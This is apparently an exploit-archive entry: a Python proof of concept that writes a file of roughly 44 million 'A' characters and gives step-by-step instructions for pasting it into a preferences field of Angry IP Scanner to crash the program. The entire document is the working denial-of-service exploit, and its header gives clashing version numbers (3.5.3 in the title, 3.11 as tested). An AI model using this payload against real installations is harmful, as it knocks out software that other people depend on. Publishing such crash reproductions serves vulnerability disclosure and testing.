Angry IP Scanner 3.5.3 - Denial of Service (PoC)

#!/usr/bin/python
# -*- coding: cp1252 -*-
# Exploit Title: Angry IP Scanner 3.5.3 Denial of Service (PoC)
# Author: Fernando Cruz
# Date: 13/12/2018
# Vendor Homepage: https://angryip.org
# Tested Version: 3.11
# Tested on Windows 10 Pro, 64-bit

# Steps to Produce the Crash: 
# 1.- Run python code : python angryip.py
# 2.- Open angryip.txt and copy content to clipboard
# 3.- Open Angry IP Scanner
# 4.- Go to "Herramientas" in toolbar, click on "Preferencias", then in the tap "Mostrar",
# 5.- Paste ClipBoard on "El valor no está disponible (sin resultados):", and click on "OK",
# 6.- Crashed

buffer = "\x41" * 44455293
f = open("angryip.txt" , 'w')
f.write(buffer)
f.close()